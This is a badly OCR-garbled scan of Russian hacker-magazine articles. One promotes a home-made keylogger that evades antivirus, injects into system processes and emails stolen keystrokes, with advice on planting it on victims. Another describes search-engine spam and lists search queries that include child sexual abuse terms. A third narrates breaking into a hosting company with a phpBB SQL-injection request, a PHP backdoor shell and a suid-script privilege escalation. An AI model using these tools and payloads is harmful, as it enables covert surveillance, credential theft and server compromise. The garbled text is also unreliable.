этого надо перейти в Зеагсіі -> Вгиіеіогсе -> 
Орбопз и указать параметры перебора. В 
этом нехитром окошке можно указать длину 
подбираемых паролей, перебираемые симво- 
лы либо подключить большой словарь. После 
того, как указаны все нужные настройки, на- 
жимай Р5 и иди пить пиво, через некоторое 
время все хэши будут крякнуты. 
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И ногие озабоченные собственной безопасностью пспьзсватепи некстсрую информацию (прежце всето паропи] всетда держат в гопо- 
ве, никуда не записывают - ни в спокіе, ни в реестр, - а всетда вводят с кпавиатуры. В какой-то степени сни псступают правипьно, 
ведь пюбой бопее-иенее прсдвинутый трсян без пробпеи отыщет все записанные в системе парспи и стошпет их хакеру. Юзер дума- 
ет, что он в безопасности. В ІСВ сн указан сеснгііу ІеѵеІ=3 и считает, что ето никто и никогда не взломает, потому что он вводит все парспи 
с кпавы каждый раз при запуске нужнстс припсжения. Наивный юзер :). 

КЕѴ8РѴ: клавиатурный шпион нового поколения 



ввело в заблуждение о 
собственной безопасности 
пользователя почти полное от- 
сутствие в свободном доступе 
хороших клавиатурных шпио- 
нов - программ, которые сим- 
вол за символом записывали 
бы все, что набирает пользова- 
тель: пароли, команды, личную переписку. 
Такая плачевная ситуация с количеством хоро- 
ших кейлогеров отразилась и на нас с Волком. 

Однажды ночью мы прокрались через 
один хитрый баг под названием ВРС ОСОМ :) 
на тачку давнего врага. Нас интересовал па- 
роль от почты, на которую в скором времени 
этот чухан должен был получить очень важ- 
ное письмо, безумно ценное для нас. Мы 
ждали этого момента с нетерпением. Я уже 
приготовил целую кучу утилит по вытаскива- 
нию из системы паролей, но, облазив всю 
систему и найдя ТІіе Ваі! последней версии, 
я не обнаружил ни одного, даже самого не- 
нужного пароля :(. Противник оказался ум- 
нее, чем можно было предположить: научен- 
ный горьким опытом общения с троянами, 
он никогда не сохранял свои пароли в систе- 
ме. Но он не учел одного - хороший хакер 
обычно является еще и хорошим кодером. 




Поскольку получить заветный пароль было 
крайне необходимо, пришлось написать 
свой собственный кейлогер, который бы от- 
вечал самым строгим хакерским требовани- 
ям. 

А Ш8РѴ 

На это ушло почти три дня, за которые мы с 
Волком выпили целый ящик кока-колы. И вот 
час икс пробил: мы дописали ЕГО. Лучший, 
по нашему мнению, существующий публич- 
ный клавиатур- 
ный шпион. Ко- 
ротко опишу его 
достоинства: 

А Не определя- 
ется антивиру- 
сами, особенно 
если его хоро- 
шенько запако- 
вать - вдруг при- 
дется иметь де- 
ло с эвристиком. 

А Не виден в 
списках процес- 
сов, окон и т.д. 

А Размер прог- 
раммы всего 10 
кб (!), а если 



сжать, так и вовсе 5! 

А Записывает не только все нажатые клавиши, 
но и имена окон и процессов, в контексте кото- 
рых пользователь нажимал эти клавиши, а так- 
же полную дату и время. 

А Отслеживает работу с буфером обмена - 
если твой подследственный поместил туда 
ценные данные, они не ускользнут! 

А В настройках не нужно указывать никаких 
8МТР-серверов и прочих ужасных вещей - 
только мыло, на которое должен приходить 
лог, и максимальный объем лога, достигнув 
которого шпион 
должен его отос- 
лать. 

Полагаю, тебе 
уже стало инте- 
ресно, где можно 
взять такую клас- 
сную программу. 
Как всегда, све- 
жий релиз ты мо- 
жешь найти на 
нашем сайте 
ѵѵш.хакер.ги. 

Работать с на- 
шим клавиатур- 
ным шпионом 
проще простого. 
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Сначала нужно сконфигурировать его сер- 
верную часть. Серверной я называю ее пото- 
му, что у троянов этот кусок программы 
обычно играет роль сервера - слушает ло- 
кальный порт, обрабатывает соединения и 
т.п. Для этого нужно запустить сопіід.ехе, 
открыть конфигурируемый файл 
(кеуіоддег.ехе), внести свои настройки и на- 
жать кнопку «Сохранить настройки». Даже 
кролик справится. 

После этого смело устанавливай кеуіод- 
дег.ехе на компьютер жертвы. Сделать это 
можно кучей разных способов, начиная от 
банального впаривания по е-таіі, заливкой 
трояна через открытые шары и заканчивая 
использованием Роісіег 8рІоіІ и багов в брау- 
зере ІЕ, позволяющих запускать у посетителя 
зло-страницы любые приложения. Мы уже 
неоднократно писали о каждом из этих спо- 
собов, так что советую тебе обратиться к ар- 
хиву старых журналов на сайте ѵѵѵѵѵѵ.хакер.ги, 
заюзав поиск. 

После того как ты запустил серверную 
часть нашего кейлогера на компьютере 
жертвы, осталось только ждать логов в 
ящике, указанном в настройках. Письма 
будут приходить с разной периодич- 
ностью, зависящей от интенсивности ра- 
боты пользователя и настройки макси- 
мального объема лога. 

После конфигурирования я всем очень 
советую любую засылаемую программу, 
будь то ВАТ или шпион, как следует упако- 
вать. Это снижает вероятность определения 
программы эвристическим антивирусом и 
уменьшает объем. Волк обычно делает это с 
помощью всем известного ІІРХ’а. Наш 
КеуЗру сжался в два раза - недурно для 
программы с объемом сорцов более чем в 
две тысячи строк, правда? :) 

^ ВНУТРЕННОСТИ КЕЙПОГЕРР 

Так много хитрых технологий понапихано в 
шпион, что не рассказать хотя бы о части из 



них было бы безумием. Начну, пожалуй, с 
собственного 8МТР-движка. 

Из-за появления огромного числа разного 
рода мыльных червяков и спам-ботов обще- 
доступные серверы типа паіі.ги начали закры- 
вать возможность отправлять письма без ау- 
тентификации, ставить Е8МТР-демоны и тре- 
бовать регистрации на сервере. Троянописцев 
и подобных им людей, давно пользующихся 
услугами отправки почты у этих серваков, это 
очень расстроило и заставило придумать спо- 
соб обойти эту гребаную аутентификацию. 
Собственно, все уже было придумано до нас 
создателями архитектуры почтовой системы. 
Абсолютно любой 8МТР-сервер принимает 
для доставки письма, адресованные локаль- 
ным пользователям, не требуя ни аутентифи- 
кации, ни чего бы то ни было еще. Думаю, 
несложно догадаться, почему так сделано. Ес- 
ли же это для тебя загадка, подробное объяс- 
нение можно найти в соответствующей врезке. 

Трудности этого случая заключаются в оп- 
ределении, к какому зтір-серверу нужно 
подключаться, чтобы отправить письмо. 

Дело в том, что, вопреки твоим ожиданиям, 
домен, стоящий справа от @, обычно не яв- 
ляется адресом зтір-сервера этого домена. 
Как же получить нужный хост? Как раз для 
этого есть служба 0М8 - стоит только запро- 
сить МХ-запись необходимого домена, 
как все проблемы отпадают. 

Наш шпион реализует подобный способ, 
для того чтобы не пришлось все время дер- 
жать в программе адрес работающего зтір 
с паролем и логином. 



Также кейлогер использует очень инте- 
ресную технологию внедрения собственно- 
го кода в чужой процесс (возможно, в буду- 
щих номерах X ты сможешь прочесть о ее 
реализации). Эта технология нужна для то- 
го, чтобы шпион не светился в списках, а 
сидел тихо в каком-нибудь ехріогег.ехе или 
Ізазз.ехе и никого не трогал. С помощью 
этой технологии, по идее, исключается воз- 
можность убить программу в процессе ра- 
боты, так как для этого пришлось бы уби- 
вать всюе систему. 

.і это ЕЩЕ НЕ КОНЕЦ 

Мы с Волком планируем активно развивать 
наш кейлогер: добавлять в него новые функ- 
ции, уменьшать размер (куда же еще? :)) и 
т.п. - и очень надеемся, что в этом процессе 
ты примешь участие. Нам очень нужны твои 
свежие идеи и код, ведь две головы хорошо, 
а десять лучше. Стучись ко мне в асю, я без 
проблем дам тебе исходный код программы, 
и мы подумаем, как ее можно улучшить. 
Счастливой слежки. ЗС 




^ РПБ0ТП8ИТР-СЕРВЕРП 



Т ак все же, почему сервер принимает 
от кого ни попадя почту для локаль- 
ных пользователей? Если бы это было не 
так, то работа всех служб е-таіІ была па- 
рализована, ни одно письмо не долета- 
ло бы до адресата. Ведь смотри, как по- 
лучается. Ты пишешь письмо, например, 
в «ТНе Ваі!», нажимаешь кнопку «Отпра- 
вить». Клиентская программа подключа- 
ется к указанному в настройках зтф-серверу и при помощи 
специального протокола передает ему письмо. Далее сервер- 
ная программа решает, принять это письмо для пересылки или 
нет. Если она принимает, то схема простая: ЗМТР-сервер полу- 
чает МХ-запись, соответствующую домену получателя коррес- 
понденции, подключается к этому хосту и, опять же, при помо- 
щи того же самого протокола передает письмо. Только на этот 
раз оно адресовано уже локальному пользователю и никуда пе- 
ресылать его не нужно, поэтому сервер безо всяких проверок 
его принимает и записывает в ящик пользователя. 



Примерно так зтір-клиент 
посылает письмо локальному 
пользователю 




А На нашем диске 
ты найдешь КеуЗру 
с конфигуратором 
- программу для 
регистрации всех 
манипуляций с 
клавиатурой ло- 
кального компью- 
тера. За использо- 
вание этой прог- 
раммы не по наз- 
начению ни автор, 
ни редакция жур- 
нала не несут ни- 
какой ответствен- 
ности. 








КеуЗру был написан на ѴізиаІ Зіисііо .МЕГ 
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I Зтегсіі (зілегсіііісдіпіо.ги) 








И овый год на носу. Хочется всей сдепать подарки. О той чиспе и жене, и теще, и кошке Иарусе, и собачке Жоре. Ох, да! Про себя 
пюбииого тоже не забыть. Заходишь в специапизированный иагазин подарков к Новоиу году, достаешь сзконоипенные за год на 
пиве, сигаретах и девушках деньги и понииаешь, что на зтот поптинник рубпяии в пучшеи спучае можно купить топько епочную 
игрушку, да и то сдепанную в Хитае и ввезенную в Россию непегапьно. Нужны деньги, хорошие деньги. Заиеть, не топько на Новый год. 



заработай деньги на яндексе без его оедоио 






.і ВЫГОДРОТПОСЕТИТЕПЕЙ 

К огда-то я столкнулся с анало- 
гичной проблемой, носящей 
название «безденежье». 
Перепробовано было много 
способов, но один из них ока- 
зался эффективней, чем все 
остальные. Именно о нем 
я и поведаю тебе ниже. 

Всем известно, что большинство посетите- 
лей заходят на сайт из разного рода поисковых 
систем. Гораздо меньше тех, кто находит твою 
страничку по линку, размещенному на каком-то 
чужом сайте. Ну а людей, набирающих адреса 
по памяти, вообще можно пересчитать по 
пальцам. Каждый веб-мастер старается сде- 
лать свой сайт как можно более адаптирован- 
ным к поисковым системам, причем таким об- 
разом, чтобы ссылка на него появлялась при 
максимально возможном количестве запросов. 

Не секрет, что как ни извращайся, а на 
сайт, состоящий из каких-то трех страниц, 
много народу не заманишь, даже если напи- 
шешь на индексе пару тысяч основных поис- 
ковых запросов. Нужен материал, заметь, ин- 
тересный материал, который волнует людей 
и который они будут искать, перерывая сотни 
сайтов и потроша Яндексы, Рамблеры и 
Апорты своими порой идиотскими запросами. 



Я довольно долго думал, откуда же взять 
эту информацию? Не писать же самому пару 
тысяч статей в надежде на то, что кто-то бу- 
дет хотя бы пару сотен раз в день интересо- 
ваться ими. Да и стоят ли такие труды этих 
двухсот посетителей, когда проще не му- 
читься, а купить посещения у любой занима- 
ющейся раскруткой сайтов конторы? Озаре- 
ние пришло довольно скоро. У нас был ІВС- 
канал, на котором на тот момент ежедневно 
тусовалось по меньшей мере человек двад- 
цать-тридцать и постоянно шел треп о чем 
попало. Что помешает нам просто выклады- 
вать логи канала прямо в Сеть в формате 
НТМІ? Каждый день материал будет только 
прибавляться, к чему мы не будем прилагать 
никаких усилий. Тут начались главные проб- 
лемы. Кто знаком с ІВС, знает, что сущест- 
вует куча специальных символов, в основ- 
ном, связанных с оформлением. Например, 
символы выделения текста жирным или ка- 
ким-нибудь нестандартным цветом. Особен- 
но популярны они среди флудеров и ІВС- 
спамеров. Жирный красный цвет хорошо 
бросается в глаза, и вряд ли посетители не 
заметят сообщение очередного сетевого 
проказника. Поисковым системам такие 
А8СІІ-КОДЫ вовсе не понятны, и большинство 
из них не примет документ, содержащий их. 



за НТМІ, даже если в заголовке явно будет 
указано <МЕТА НТТР-ЕОІЛѴ="СопІеп1-Туре" 
СОМТЕМТ="ЫДі1тІ; сбаг8еі=ѵѵіпсІоѵѵ8-1 251 ">. 

Вооружаемся знанием ТСІ’а и начинаем 
писать свой собственный конвертер тІВС 
Іодз -> НТМІ. 

^ ПОДВОДНЫЕ КРИНИ 

Задача вставлять НТМ 1-тэги в обычный текст 
с виду проста, однако по мере ее исполнения 
начинаешь сталкиваться с трудностями. К 
примеру, в ІВС есть символ, который вводит- 
ся комбинацией <СігІ>-г<0> в том же кли- 
енте тІВС. Он сообщает клиенту: то, что 
раньше писалось жирным, цветным, да еще 
и выделялось курсивом, теперь будет выгля- 
деть, как стандартный текст. В общем, что-то 
вроде сброса всех атрибутов форматирова- 
ния. Если его оставлять как есть, то роботы 
поисковых систем при индексации впадают в 
истерику и испуганно убегают со страницы. 

В худшем случае навсегда. А вот обрабаты- 
вать его довольно сложно, так как в эквива- 
ленте НТМІ он может означать сразу тэги 
<Ь>, <Іопі>, <і> и многие другие, касаю- 
щиеся оформления текста. Пришлось при 
каждом упоминании ІВС-символа 
<СігІ>-і-<0> закрывать все возможные тэги. 
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а на канале запретить пользоваться цветами 
(+с тосіе). 

Теперь остается только ждать горячих 
дискуссий от посетителей нашего канала - 
тогда бот с нашим скриптом начнет автома- 
тически выкладывать их на наш сервер в ре- 
жиме реального времени, а поисковые сис- 
темы - индексировать готовые НТМ 1-файлы. 
Конечно, про реальное время я немного заг- 
нул - бот выкладывает все с задержкой в од- 
ну минуту, но особой роли это не играет, 
ведь тот же Яндекс все равно переиндекси- 
рует не чаще одного раза в неделю. 

В принципе, на этом уже можно было ос- 
тановиться, но мы пошли дальше. Следую- 
щим шагом стала оплата разговоров на на- 
шем канале. Мы платили по одному центу за 
каждые сто слов. Чтобы люди просто так не 
копировали нам банальным Сору-Разіе 
«Войну и Мир», для бота была написана це- 
лая серия защитных скриптов. В том числе и 
такой хитрый, который вычитал определен- 
ное количество повторяющихся слов из ста- 
тистики пользователей. Выплаты производи- 
лись при достижении пользователем суммы 
в 1 изо или 10 000 слов. Результат был 
просто ошеломляющий - через полгода на- 
копилось около сотни мегабайт чистого, ос- 
мысленного текста. И это не все. Ведь кро- 



ме нашего канала мы стали предлагать и 
другим бесплатную установку и поддержку 
бота. Количество уникальных посетителей 
все росло и росло. Если спустя несколько 
первых недель мы радовались, что наконец- 
то заманиваем 300 человек, то уже спустя 
шесть месяцев цифры в десять тысяч (!) 
уников были для нас обычной статистикой. 

Как известно, главное - вытянуть из лю- 
бой затеи финансовую выгоду. Сначала ре- 
шено было просто направлять трафик на 
сайты интимных знакомств, платящие за 
каждого посетителя, который прошел даль- 
ше, чем на вторую страницу. Денег много 
не получалось. Во-первых, сами спонсоры 
платили совсем немного, ставка была очень 
низкая. Во-вторых, они оплачивали только 
посетителей, которые прошли хотя бы на 
одну страницу дальше главной. Нетрудно 
догадаться, что таких было немного. Яркий 
пример - человек ищет информацию по иг- 
ре СТА, которая в свое время рьяно обсуж- 
далась на нашем канале, а попадает на ка- 
кой-то порносайт. Ясное дело, большинство 
просто закроет окно браузера с таким со- 
держанием и продолжит смотреть другие 
результаты, выданные поисковиком. Нес- 
мотря на эти трудности, удавалось выужи- 
вать по 10-15 изо в сутки, что, в принципе, 
покрывало расходы на бесіісаіесі сервер и 
выплаты посетителям канала. 

.ІФИНИТППЯ КОМЕДИЯ 

Но все хорошее очень быстро заканчивается. 
Яндекс - поисковая система, с которой боль- 
ше всего шло посетителей в процентном со- 
отношении, - выкинул сайт с логами из сво- 
ей базы. После непродолжительной пере- 
писки с админами стало ясно, что им не 
понравилось содержание, явно нацеленное 
на засорение их базы данных. Домен был 
заблокирован и больше на индексацию в Ян- 
декс не добавлялся. Что поделаешь, приш- 



Несмотря на эти трудности, удавалось 
выуживать по 10-15 1180 в сутки. 

I 



^ СЯИЫЕОРИГИНЯПЬНЫЕ ПОИСКОВЫЕ запросы ^ 

о. продукт гниения белков, содержащийся в кале и придающий 
ему характерный запах; 

О. безплатный просмотр парнухи; 

®. реальные изнасилования малолетних; 

О. порно фото бландинок; 

Ѳ. малалетние лизбиянки; 

О. картинки про нигерш; 

0 . 18 летние порно извращенок; 

О. попы виа гры; 

Ѳ. маленьких девочек письки. 

Вот после этого и думай, о чем люди у нас на канале разговари- 
вают :). 




индексируемой информации Яндекс все чаще 
и чаще стал выкидывать из своей базы соб- 
ранные логи и банить домены. Новые домены 
приходилось покупать чуть ли не каждую не- 
делю. Нужно это было только для того, чтобы 
господин Яндекс вновь послал своего бота 
проиндексировать сайт. Правда, в этом был и 
свой плюс: другие поисковые системы стали 
выдавать по запросам одни и те же страницы, 
но располагающиеся в разных доменах. Ины- 



ми словами, пользователь при поиске полу- 
чал в виде первых пяти результатов совер- 
шенно идентичную информацию, только с 
разными адресами и ведущую в итоге на 
один и тот же сервер. Не скрою, что к тому 
времени общее количество уникальных посе- 
тителей достигло почти сорока тысяч (!) чело- 
век в сутки. Да и пристроить такой трафик 
было пару пустяков, к тому же еще за при- 
личные деньги - многие нуждаются в раскрут- 
ке своих проектов и рекламе услуг. 

.ІСЪЕЗЖПЕИСРЕПЬС 

Теперь, прочитав эту статью, ты понял, поче- 
му при большинстве абсолютно невинных 
запросов ты в итоге попадаешь либо на пор- 
носайт, либо на сайт интим-знакомств. 
Просто очень много людей переняли эту так- 
тику в последнее время, воруют логи, пыта- 
ются хоть как-то привлечь к себе новых по- 
сетителей и получить за это пару центов. 

Удачно тебе заработать на Новый год и 
справить его :). ЗС 




А Поисковой сис- 
темой Яндекса 
пользуется свыше 
полумиллиона по- 
сетителей в сутки, 
и, в среднем, каж- 
дый из них делает 
по 3-4 запроса. 




А В отличие от той 
же иностранной 
поисковой системы 
АІІаѵізІа Яндекс не 
производит фильт- 
рацию результатов. 
Даже простой поис- 
ковый запрос может 
привести ребенка 
на порносайт. 
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овершенная защита - ииф. Серьезные компании, концерны и банки нанимают грамотных зесогііу-специапистов дня аудита систем, 
тратят кучу зепеных президентов на разнообразные циски и багЛѵаге брандмауэры, иаксииапьно защищают свою информацию, 
заботятся о своей репутации. Но невозможность обеспечить совершенную защиту закпючается не топько в бажности оборудования 
ипи софта. Основная пробпема - чеповеческий фактор. Недавно я убедипся в этом натпядно, взпоиав один крупный зарубежный хостинг. 



ИСТОРИЯ ВЗПОИО КРУПНОГО ХОСТИНГО ІР0НГЕВ1НЕВ.С0И 




.ІВНРЧОПЕ БЫЛО слово 

З то был обычный осенний ве- 
чер. На улице стояла сырая 
холодная погода, уже смерка- 
лось, по небу быстро неслись 
тучи, и крапал противный 
осенний дождик. Я сидел в 
теплой комнате и, попивая 
пиво, играл в С8 на забугор- 
ном серваке. Все складывалось явно в пользу 
терроров, за которых я пулял, пиво было 
вкусным, а настроение - хорошим. Через пол- 
часа игры некоторым людям поднадоело 
стрелять, и счастливые обладатели микрофо- 
нов начали вести опііпе-беседу об обычных 
жизненных проблемах. Разговор плавно пере- 
тек в спор о том, какие железки лучше, у кого 
лучший софт и услуги. Микрофона у меня, 
к сожалению, не было, и вступить в беседу 
я не мог, но послушать было интересно. 

Обсуждались крупные европейские хостеры, 
поставщики железа, оиізоигсіпд-конторы. Пос- 
ле горячих споров и обсуждений большинство 
опять захотело играть и ушло на другие серве- 
ры, а оставшиеся продолжили разговор, время 
от времени постреливая друг в друга. Один пу- 
ляющий «мент» явно пьяным голосом расска- 
зывал другому, что такое хостинг и как это 



прекрасно. Второй, ничуть не более трезвый, 
задавал тупые вопросы вроде «А это у тебя ин- 
тернет лежит?», «А зачем тебе столько компью- 
теров?» и т.д. Попутно с ним беседовал еще 
один чел на ломаном английском с явным рус- 
ским акцентом и неплохим пониманием *піх- 
систем. Одна из фраз пьяного «копа» удивила 
меня настолько, что я в растерянности изреше- 
тил кого-то из своих :). «Мы, іроѵѵегѵѵеЬ.соп, - луч- 
шие хостеры, у нас так все хорошо настроено, 
что хоть я месяц на серверы не заглядываю, 
знаю, что все О'К». В голове туг же замелькали 
мысли: «Сисадмин серьезных серверов, пуляю- 
щий в КС и месяц не бывший на шелле, - это 
нонсенс! А может, их защита не так уж и серь- 
езна?». К тому времени пиво уже вылечило 
обычно свойственную мне паранойю, и я ре- 
шил проверить свои предположения. 



А пвоит 

С хостингом іроѵѵепіѵеЬ.сопі я был знаком уже 
давно. Это крупная буржуйская хостинговая 
компания, на сегодняшний день хостит (хос- 
тила :)) порядка 80 000 доменов второго 
уровня, кучу посещаемых и богатых ресур- 
сов. Цены у них очень даже кусаются, а ка- 
чество обслуживания, по слухам, на высо- 
чайшем уровне. Разве что кофе не варили 
клиентам :). «Ну... Была не была», - сказал я 
себе и полез на шелл. 

Разумеется, первым делом в ход пошел 
старый добрый птар. Админ оказался очень 
консервативным: на сервере был открыт 
лишь только 80 порт. Похвально, но и это не 
проблема. Первым делом в голову пришла 
мысль просканить все сайты хостинга на 
предмет уязвимых скриптов. Я полез на 
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шѵѵ.іроѵѵегѵѵеЬ.сот в поисках списка сайтов или 
хотя бы намека на то, кто у них хостится. Из 
этого ничего не получилось, поскольку само- 
рекламы в стиле «А у нас хостится 
$ирег$егѵег.сот!» обнаружено не было. Я, разу- 
меется, знал несколько сайтов на их серве- 
рах, но ничего интересного из их просмотра 
не извлек: только лишь непонятные заказные 
движки за кучу килобаксов, много флеша. 



статических страниц и прочего буржуйского 
ѵѵеЬ-ассортимента. Никаких тебе іезі.сді, 
рбр-/ро8і-пике и прочих бесплатных дыря- 
вых скриптов. Однако кто ищет, тот всегда 
найдет. 

И вот уже с монитора на меня, сияя цветом 
детской неожиданности, смотрит рбрВВ2. Надо 
признаться, я был очень даже рад находке :). 
Глаза по привычке уставились вниз, на строчку 



с версией форума. «Роѵѵегеб Ьу рИрВВ 2.0.6». 
Зачем мне нужен был этот форум? Я думаю, ни 
для кого не секрет, что многие используют оди- 
наковые пароли для мыла, форума, фтп, а иног- 
да и шелла. Почитав на багтраке о баге в этом 
форуме, я сконструировал следующий запрос: 

Іі11р://[огит.сер- 

вер.ком/ргіѵпі$д.рІір?[оІ(Іег=$аѵеЬох&піосІе=геасІ&р=99 
&р[ті $р1 и$ег=АN^%20рт.ргіѵт$д$ іуре=99%20^NI0N 
%205Е1ЁСТ%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,и5е 
тате,0,0,0,0,0,0,0,0,0,и$ег_ра$5ѵѵог(1%20РК0М%20рІір 
Ы)_и$ег8%2011ѴНЕКЕ%20и$ег_і(1=1%20иМІТ%201 

Форум выкинул мне табличку с регистра- 
цией. Странно. Подумав еще раз, я зарегист- 
рировался и повторил запрос. Ответом фору- 
ма был хэш админского пароля и его логин. 

Кстати, поиграв со значением изег ісі в 
запросе, можно получить хэш пароля любого 
юзера, ісі которого можно посмотреть в ад- 
ресной строке при просмотре профиля. 

Хэш пароля я тут же отдал серверу на 
расшифровку и ушел варить кофе. Однако 
выяснилось, что не все так просто и буржуи 
не дураки. Если бы пароль был шестисим- 
вольным, его бы за пару часов подобрал 
«мейнфрейм» (биаі Хеоп 2.8), но прошло 
около шести часов, а перебор все продол- 
жался. Поняв, что ловить тут нечего, я ре- 
шил искать другие пути. 

И тут же родился естественный вопрос - 
а какие? Все, кроме апача+ззі, было закрыто 
файрволом, больше уязвимых скриптов на 
известных доменах обнаружено не было. 
Выход был один. Брать супостата изнутри. 

А ІИ8ШЕ 

Однако и это оказалось не так просто. Как и 
любой уважающий себя хостинг, іроѵѵегѵѵеЬ 
требовал обязательное подтверждение зака- 
за голосом. Проблема была решена (как ни 
странно :)) с помощью уличного таксофона. 
Разумеется, можно было применить социаль- 
ную инженерию и, представившись господи- 
ном Пупкинсоном из очень важной фирмы, 
попросить предоставить тестовый аккаунт на 
пару дней. Но в таких случаях хостеры часто 
дают аккаунты на заброшенных или тестовых 



^ ВОЗМОЖНОСТИ ИЕТШОВКЕІІЕИПИПеЕВ 

о. Возможность просматривать файлы хостинга двумя спосо- 
бами - через Тореп и стсі. 

Ѳ. Использование алиасов, то есть уже готовых команд, пропи- 
санных в раскрывающемся списке (интересно новичкам, кото- 
рые не знают ипіх). 

Ѳ. Сканирование сервера на открытые порты, показывает все 
открытые порты на сервере и их предназначение. 

О. Брут сервера. В скрипт включен простенький брут сервера, 
проверка пароля по его логину (данные о пользователях берут- 
ся из файла /еіс/раззѵѵсі). Все подошедшие пароли записыва- 
ются в файл с именем хостинга. 

®. Возможность отправить любой файл себе на мыло, которое 
необходимо прописать для этого в начале скрипта. 

Ѳ. В скрипт встроено три метода криптования данных: ітісіб, 
зГіа1 , сгс32. 

О. Возможность быстрого запуска и установки бэкдора, откры- 
вающего 4000 порт, куда можно спокойно подключаться обыч- 
ным телнетом. 




АѵедТѴ воѵ9 




АІ/ёгЛІесІіа 
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А Следует пом- 
нить, что если ты 
вдруг начитаешься 
наших статей и 
взломаешь что-ни- 
будь чужое, то от- 
вечать за все бу- 
дешь только ты 
один. Мы тебя ни к 
чему такому кри- 
минальному не 
призываем, наобо- 
рот, всячески уго- 
вариваем не нару- 
шать законов. 

А На нашем диске 
ты найдешь прос- 
той, но бронебой- 
ный РНР-скрипт 
для навигации по 
файловой системе 
сервера и удален- 
ному выполнению 
команд. 

А Во время празд- 
нования Нового го- 
да будь осторожен! 
Помни, что чрез- 
мерное увлечение 
алкоголем и други- 
ми изменяющими 
сознание вещест- 
вами может при- 
вести к тяжелым 
заболеваниям. 



серверах, а тратить усилия впустую не хоте- 
лось :). Я заказал 100 мб со всеми делами, 
Йр и збеІІ-доступом и спустя час обнаружил 
у себя в ящике письмо от суппорта с логи- 
ном и паролем. Быстро сработали, умнички. 

Однако выдать шелл они отказались, мо- 
тивировав это тем, что шелл-аккаунты выда- 
ются только проверенным клиентам. Мне это 
показалось странным, ведь шелл все равно 
дается в сбгооі и при наличии стабильной 
версии ядра системы и сервисов там сложно 
что-либо сделать даже опытному взломщику. 
Чуть позже эта странность прояснилась :). 

^НЕБОПЬШРЯ ПРЕДЫСТОРИЯ 

За некоторое время до описываемых событий 
один товарищ активно рекламировал на 
Е^МеЙе свой мегакругой РНР-скрипт для 
удобного визуального «администрирования 
сервера». Скрипт, по сути, являлся продвину- 
тым рбр-шеллом для хакера и трояном для 
админа. Потестив его скрипт тогда, я испытал 
небольшое отвращение от надписей вроде 
«Получить доступ к приватным эксплоитам» и, 
бегло проглядев, стер его с сервера. Так слу- 
чилось, что во время вечерней прогулки по 
серверам іроѵѵегѵѵеЬ.соп я как раз просматривал 
скрипт вторично и сделал вывод, что он не 
так уж и плох. Возможностей потенциальному 
взломщику он предоставлял много. 

Я зашел на Ефнет, попросил у чела лицен- 
зию (да-да, скрипт стоит $50) и, получив ее, 
залил п^т.рбр на свой новый аккаунт. С пол- 
пинка заведя ослика ІЕ, составил цепочку из 
надежных проксиков, настроил скрипт под 
себя и полез глядеть на сервант изнутри. 

Первым делом я заглянул в /еіс. 99% адми- 
нов почему-то оставляют /еіс +х для поЬосІу, 
допуская огромную ошибку, которая часто 
приводит к нехорошим последствиям :). 

В /еіс лежали раззѵѵсі, раззѵѵсі-, раззѵѵсІ.ОШ, 
раззѵѵсі.ргесрапеі и раззѵѵсі ,ѵ. Я решил начать 
с раззѵѵсі и вот что я там увидел: 



Содержимое /е1с/ра$$уѵсі 



гооі:х:0:0:гооі:/гооі:/Ьіп/Ьа$[і 

Ьіп:х:1:1:Ьіп:/Ьіп:/$Ьіп/поІодіп 

(1ае[поп:х:2:2:(]ае[поп:/$Ьіп:/$Ьіп/поІодіп 

а(][п:х:3:4:а(]т:/ѵаг/а(]т:/$Ьіп/поІодіп 

Ір:х:4:7:Ір:/ѵаг/$рооІ/Ір(]:/$Ьіп/поІодіп 

$упс:х:5:0:$упс:/$Ьіп:/Ьіп/$упс 

И так далее на 1 56 кб :). В других раззѵѵсі* 
ничего интересного, кроме обычных записей 
юзеров, естественно, не обнаружилось. 




Я начал внимательно изучать структуру 
сервера, проверять все папки на предмет 
наличия чего-то интересненького. Чем боль- 
ше я узнавал о сервере, тем настойчивей 
напрашивался ответ на мучивший ранее воп- 
рос: ІроѵѵегѵѵеЬ не хотели давать шелл, пото- 
му что никакого сбгооі НЕ БЫЛО. Это был 
уже большой плюс для меня :). 

Итак, у меня, по сути, был шелл с права- 
ми поЬосІу, и больше ничего не было. Надо 
было что-то делать дальше, поскольку на та- 
кой ерунде далеко не уедешь. В раздумьях я 
отправился наворачивать второй круг по 
файловой системе и внезапно для самого 
себя обнаружил заброшенную кем-то (веро- 
ятно, рутом :)) инсталляцию какого-то парсе- 
ра для анализа логов веб/фтп/мейл-серве- 
ров. Внимательно просмотрев содержимое 
найденной директории, я обнаружил удиви- 
тельную вещь - суидный перловый скрипт, 
принадлежащий руту и чмоднутый на 777. В 
тот момент для меня было абсолютной за- 
гадкой, как так получилось, но факт оставал- 
ся фактом: я, несмотря на мизерные права 
поЬосІу, мог легко исправить этот перловый 
скрипт и получить доступ к суидной оболоч- 
ке. Правда, была одна проблема: суидные 
перловые скрипты выполняются зиісірегі, ко- 
торый проверяет сценарии на потенциаль- 
ную опасность. Я решил для проверки вы- 
полнить несложный скрипт: 

#!/и$г/[)іп/регІ 
$1 = 1 : 

ореп(Р,«<КЕАОМЕ.Ш"): 
ореп (V/, «>іе$і.іхі"): 
ѵѵііііе (<Р>) { 
ргіпі V/; 

} 

с1о$е(Ю: 

с1о5е(Ю: 

ехіі; 

О, чудо! В директории появился файл 
Іезі.іхі с содержимым ВЕАОМЕ.ІхІ. Отлично, 
факир был трезв, и фокус удался :). Теперь 
осталось лишь немного дописать скрипт. До- 
бавляем функцию орепсІігО, создаем прими- 
тивный цикл, и вот мы уже можем шариться 
по файловой системе с рутовыми правами. 

А значит, сервер взят, бастионы защиты рух- 
нули, админ идет нервно курить в коридор, 
помахивая по пути белым флагом. 

Разумеется, можно было задефейсить все 
сайты сервера (а их там было немало) с по- 
мощью примитивного скрипта, но это было 




Тиха украинская ночь, но зПасІоѵѵ лучше перепрятать 



бы СЛИШКОМ просто и неоригинально :). Я 
оценил шутку админа с суидным скриптом и 
решил достойно ответить ему :). Так сказать, 
показать широту русского юмора. Команда 
сіі -б показала следующее: 



Еііе$у$іе[ті 

Моипіе(] оп 

/(1еѵ/ссі$$/с1сІ0р1 

/(1еѵ/ссі$$/с1(]0р7 

/сІеѵ/ссі$$/с1сІ0р6 

/(1еѵ/ссі$$/с1сІ0рЗ 

/(1еѵ/ссі$5/с1(]0р2 

/(1еѵ/ссі$$/с1сІ0р2 







$І2е 


ІІ5е(] АѵаіІ Сарасііу 


2.06 


1.26 


743М 


62% 


/ 


1816 


1526 


196 


89% 


